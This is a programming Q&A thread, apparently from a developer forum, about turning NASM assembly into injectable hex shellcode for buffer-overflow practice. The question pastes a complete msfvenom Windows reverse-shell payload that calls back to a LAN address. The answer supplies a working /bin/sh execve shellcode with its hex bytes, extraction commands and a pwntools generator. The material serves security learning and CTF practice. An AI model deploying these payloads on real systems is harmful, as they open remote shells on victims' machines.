the thing is I'm training on the buffer overflow bug, and I got to the point where I just inject something into the memory, but the problem is that I have a very small space in the ESP to work with so I've made a simple "hello world" in assembly:
The Assembly code (simple hello world)
global _start
;;;;;64bit only
_start:
jmp short string
code:
pop rsi
xor rax, rax
mov al, 1
mov rdi, rax
mov rdx, rdi
add rdx, 14
syscall
xor rax, rax
add rax, 60
xor rdi, rdi
syscall
string:
call code
db 'Hello, world!',0x0A
this was written in Nasm
I first found this when generating a msfvenom payload, there is an option to specify the language of the shellcode(i specified C) then it generates the hex executable code which you can just inject into memory and simply run it.
The Hex Code (executable hex code for a reverse shell)
unsigned char buf[] = \xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x89\xe5\x31\xff\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31\xff\x01\xd6\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x01\x66\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5;
but when I tried to do that myself I found that I have to write the program in assembly then convert it to the hex executable code, which I was looking for a way to do it for a week but nothing.
What I've tried
I tried to convert the assembly instructions one by one then add the arguments (also converted to hex) which didn't work obviously.
-----
that assembly code seems to work with : ./nasm.exe -fwin64 shellcode.asm
but not with : ./nasm.exe -fwin32 shellcode.asm
I think it's not compatible with 32bit.
and also when i execute: ./nasm.exe -felf64 shellcode.asm -o shellcode.o
then : ld -s -o shellcode shellcode.o
it sais unrecognized format of the file shellcode.o
I have learned this in the software security course. Since that was over a year ago, it is a little bit hard for me to remember all the details. I will focus on the main points.
Let's write simple assembly code first.
GLOBAL _start
_start:
xor rdx, rdx ;use xor edx,edx to save 1 byte
push rdx
mov rax, 0x68732f2f6e69622f ;The result of '/bin//sh' in reverse byte order
push rax ;push '/bin//sh' into stack
mov rdi, rsp ;Get the address of '/bin//sh' from rsp and put it into rdi
push rdx
push rdi
mov rsi, rsp
xor rax, rax
mov al, 0x3b
syscall
Also note that you can write mov rax, '/bin//sh'
since you're using NASM.
Use nasm to compile and run the shellcode to make sure it works as a stand-alone executable. Use strace
to verify that the system-call args are what you intended, or to debug if it doesn't work.
nasm -f elf64 shellcode.asm -o shellcode.o
ld shellcode.o -o shellcode
./shellcode
strace ./shellcode # trace the system calls it makes
Use objdump
to get the hex output. You can use compiler explorer as well.
objdump -d shellcode
You can get shellcode directly by filtering irrelevant output by using instructions below. But this is buggy and loses a byte of machine code in long instructions that line-wrap. Don't use this version in general.
objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
This is the output.
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
According to comments, Linux commands listed below also works after adding bits 64
to the assembly code.
nasm -f bin shellcode.asm -o shellcode
xxd -ps shellcode | sed 's/../\\x\0/g'
Or as shown in Pointer to string in stand-alone binary code without .data section, if shellcode
is an ELF executable (or a .o
), you can extract the .text
section with objcopy
and use hexdump
on the .bin
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
Besides, if you are a CTF tyro, you can use pwntools. It is much more convenient.
from pwn import *
context(arch = 'amd64', os = 'linux',log_level = 'debug')
shellcode=asm(shellcraft.amd64.linux.sh())
print(shellcode)
You can also use cobaltstrike and msfvenom.